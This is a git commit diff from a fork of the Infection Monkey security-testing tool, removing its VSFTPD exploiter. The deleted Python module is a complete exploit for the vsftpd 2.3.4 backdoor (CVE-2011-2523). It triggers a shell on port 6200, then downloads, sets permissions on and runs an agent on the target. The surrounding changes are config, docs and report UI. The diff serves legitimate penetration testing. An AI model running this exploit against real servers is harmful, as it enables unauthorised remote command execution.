forked from p15670423/monkey
Merge pull request #1565 from guardicore/1533-remove-vsftpd
Remove the VSFTPD exploiter
This commit is contained in:
commit
9eff78fb60
|
@ -11,6 +11,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
### Changed
|
### Changed
|
||||||
|
|
||||||
### Removed
|
### Removed
|
||||||
|
- The VSFTPD exploiter. #1533
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
|
|
|
@ -1,9 +0,0 @@
|
||||||
---
|
|
||||||
title: "VSFTPD"
|
|
||||||
date: 2020-07-14T08:42:39+03:00
|
|
||||||
draft: false
|
|
||||||
tags: ["exploit", "linux"]
|
|
||||||
---
|
|
||||||
### Description
|
|
||||||
|
|
||||||
This exploits a malicious backdoor that was added to the VSFTPD download archive. The logic is based on [this MetaSploit module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb).
|
|
|
@ -22,7 +22,6 @@ class Performance(ConfigTemplate):
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"PowerShellExploiter",
|
"PowerShellExploiter",
|
||||||
"ZerologonExploiter",
|
"ZerologonExploiter",
|
||||||
|
|
|
@ -39,7 +39,6 @@
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
|
|
|
@ -1,166 +0,0 @@
|
||||||
"""
|
|
||||||
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
|
||||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp
|
|
||||||
/vsftpd_234_backdoor.rb
|
|
||||||
only vulnerable version is "2.3.4"
|
|
||||||
"""
|
|
||||||
|
|
||||||
import socket
|
|
||||||
import time
|
|
||||||
from logging import getLogger
|
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
||||||
from infection_monkey.model import (
|
|
||||||
CHMOD_MONKEY,
|
|
||||||
DOWNLOAD_TIMEOUT,
|
|
||||||
MONKEY_ARG,
|
|
||||||
RUN_MONKEY,
|
|
||||||
WGET_HTTP_UPLOAD,
|
|
||||||
)
|
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
|
||||||
|
|
||||||
logger = getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
FTP_PORT = 21 # port at which vsftpd runs
|
|
||||||
BACKDOOR_PORT = 6200 # backdoor port
|
|
||||||
RECV_128 = 128 # In Bytes
|
|
||||||
UNAME_M = "uname -m"
|
|
||||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
|
||||||
UNLIMITED = "unlimited;"
|
|
||||||
USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor
|
|
||||||
PASSWORD = b"PASS please" # Ftp Password
|
|
||||||
FTP_TIME_BUFFER = 1 # In seconds
|
|
||||||
|
|
||||||
|
|
||||||
class VSFTPDExploiter(HostExploiter):
|
|
||||||
_TARGET_OS_TYPE = ["linux"]
|
|
||||||
_EXPLOITED_SERVICE = "VSFTPD"
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
self._update_timestamp = 0
|
|
||||||
super(VSFTPDExploiter, self).__init__(host)
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
|
|
||||||
def socket_connect(self, s, ip_addr, port):
|
|
||||||
try:
|
|
||||||
s.connect((ip_addr, port))
|
|
||||||
return True
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def socket_send_recv(self, s, message):
|
|
||||||
try:
|
|
||||||
s.send(message)
|
|
||||||
return s.recv(RECV_128).decode("utf-8")
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def socket_send(self, s, message):
|
|
||||||
try:
|
|
||||||
s.send(message)
|
|
||||||
return True
|
|
||||||
except socket.error as e:
|
|
||||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _exploit_host(self):
|
|
||||||
logger.info("Attempting to trigger the Backdoor..")
|
|
||||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
|
|
||||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
|
||||||
ftp_socket.recv(RECV_128).decode("utf-8")
|
|
||||||
|
|
||||||
if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
|
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
|
||||||
self.socket_send(ftp_socket, PASSWORD + b"\n")
|
|
||||||
ftp_socket.close()
|
|
||||||
logger.info("Backdoor Enabled, Now we can run commands")
|
|
||||||
else:
|
|
||||||
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
|
||||||
return False
|
|
||||||
|
|
||||||
logger.info("Attempting to connect to backdoor...")
|
|
||||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
|
|
||||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
|
||||||
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
|
||||||
|
|
||||||
uname_m = str.encode(UNAME_M + "\n")
|
|
||||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
|
||||||
|
|
||||||
if response:
|
|
||||||
logger.info("Response for uname -m: %s", response)
|
|
||||||
if "" != response.lower().strip():
|
|
||||||
# command execution is successful
|
|
||||||
self.host.os["machine"] = response.lower().strip()
|
|
||||||
self.host.os["type"] = "linux"
|
|
||||||
else:
|
|
||||||
logger.info("Failed to execute command uname -m on victim %r ", self.host)
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
|
||||||
|
|
||||||
if not src_path:
|
|
||||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Create a http server to host the monkey
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
|
||||||
logger.info("Download link for monkey is %s", http_path)
|
|
||||||
|
|
||||||
# Upload the monkey to the machine
|
|
||||||
monkey_path = dropper_target_path_linux
|
|
||||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
|
||||||
download_command = str.encode(str(download_command) + "\n")
|
|
||||||
logger.info("Download command is %s", download_command)
|
|
||||||
if self.socket_send(backdoor_socket, download_command):
|
|
||||||
logger.info("Monkey is now Downloaded ")
|
|
||||||
else:
|
|
||||||
logger.error("Failed to download monkey at %s", self.host.ip_addr)
|
|
||||||
return False
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
|
|
||||||
# Change permissions
|
|
||||||
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
|
||||||
change_permission = str.encode(str(change_permission) + "\n")
|
|
||||||
logger.info("change_permission command is %s", change_permission)
|
|
||||||
backdoor_socket.send(change_permission)
|
|
||||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
|
||||||
|
|
||||||
# Run monkey on the machine
|
|
||||||
parameters = build_monkey_commandline(
|
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
|
|
||||||
)
|
|
||||||
run_monkey = RUN_MONKEY % {
|
|
||||||
"monkey_path": monkey_path,
|
|
||||||
"monkey_type": MONKEY_ARG,
|
|
||||||
"parameters": parameters,
|
|
||||||
}
|
|
||||||
|
|
||||||
# Set unlimited to memory
|
|
||||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our
|
|
||||||
# exploit
|
|
||||||
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
|
|
||||||
run_monkey = str.encode(str(run_monkey) + "\n")
|
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
|
||||||
if backdoor_socket.send(run_monkey):
|
|
||||||
logger.info(
|
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
||||||
self._config.dropper_target_path_linux,
|
|
||||||
self.host,
|
|
||||||
run_monkey,
|
|
||||||
)
|
|
||||||
self.add_executed_cmd(run_monkey.decode())
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
|
@ -23,7 +23,6 @@ BASIC = {
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"DrupalExploiter",
|
"DrupalExploiter",
|
||||||
"PowerShellExploiter",
|
"PowerShellExploiter",
|
||||||
|
|
|
@ -120,15 +120,6 @@ EXPLOITER_CLASSES = {
|
||||||
"https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
|
"https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/",
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/",
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": ["VSFTPDExploiter"],
|
|
||||||
"title": "VSFTPD Exploiter",
|
|
||||||
"safe": True,
|
|
||||||
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
|
|
||||||
"Logic based on Metasploit module.",
|
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": ["DrupalExploiter"],
|
"enum": ["DrupalExploiter"],
|
||||||
|
|
|
@ -42,9 +42,6 @@ class ExploiterDescriptorEnum(Enum):
|
||||||
)
|
)
|
||||||
HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor)
|
HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor)
|
||||||
MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor)
|
MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor)
|
||||||
VSFTPD = ExploiterDescriptor(
|
|
||||||
"VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor
|
|
||||||
)
|
|
||||||
DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor)
|
DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor)
|
||||||
ZEROLOGON = ExploiterDescriptor(
|
ZEROLOGON = ExploiterDescriptor(
|
||||||
"ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor
|
"ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor
|
||||||
|
|
|
@ -25,7 +25,6 @@ import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebL
|
||||||
import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue';
|
import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue';
|
||||||
import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue';
|
import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue';
|
||||||
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
|
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
|
||||||
import {vsftpdIssueOverview, vsftpdIssueReport} from './security/issues/VsftpdIssue';
|
|
||||||
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
|
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
|
||||||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||||
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
||||||
|
@ -108,11 +107,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
[this.issueContentTypes.REPORT]: drupalIssueReport,
|
[this.issueContentTypes.REPORT]: drupalIssueReport,
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
},
|
},
|
||||||
'VSFTPDExploiter': {
|
|
||||||
[this.issueContentTypes.OVERVIEW]: vsftpdIssueOverview,
|
|
||||||
[this.issueContentTypes.REPORT]: vsftpdIssueReport,
|
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
|
||||||
},
|
|
||||||
'WmiExploiter': {
|
'WmiExploiter': {
|
||||||
[this.issueContentTypes.REPORT]: {
|
[this.issueContentTypes.REPORT]: {
|
||||||
[this.credentialTypes.PASSWORD]: wmiPasswordIssueReport,
|
[this.credentialTypes.PASSWORD]: wmiPasswordIssueReport,
|
||||||
|
|
|
@ -1,36 +0,0 @@
|
||||||
import React from 'react';
|
|
||||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
|
||||||
|
|
||||||
export function vsftpdIssueOverview() {
|
|
||||||
return (<li>VSFTPD is vulnerable to <a
|
|
||||||
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
|
|
||||||
</li>)
|
|
||||||
}
|
|
||||||
|
|
||||||
export function vsftpdIssueReport(issue) {
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
Update your VSFTPD server to the latest version vsftpd-3.0.3.
|
|
||||||
<CollapsibleWellComponent>
|
|
||||||
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
|
|
||||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at
|
|
||||||
port <span
|
|
||||||
className="badge badge-danger">6200</span>.
|
|
||||||
<br/>
|
|
||||||
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
|
|
||||||
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
|
|
||||||
compromised.
|
|
||||||
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a
|
|
||||||
command
|
|
||||||
shell on port 6200.
|
|
||||||
<br/><br/>
|
|
||||||
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the
|
|
||||||
backdoor
|
|
||||||
at port 6200.
|
|
||||||
<br/><br/>Read more about the security issue and remediation <a
|
|
||||||
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
|
|
||||||
>here</a>.
|
|
||||||
</CollapsibleWellComponent>
|
|
||||||
</>
|
|
||||||
);
|
|
||||||
}
|
|
|
@ -11,7 +11,6 @@
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"DrupalExploiter"
|
"DrupalExploiter"
|
||||||
]
|
]
|
||||||
|
|
|
@ -63,7 +63,6 @@ STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_pro
|
||||||
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
|
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
|
||||||
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
|
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
|
||||||
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
|
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
|
||||||
VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
|
|
||||||
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
|
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
|
||||||
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
||||||
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
|
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
|
||||||
|
|
Loading…
Reference in New Issue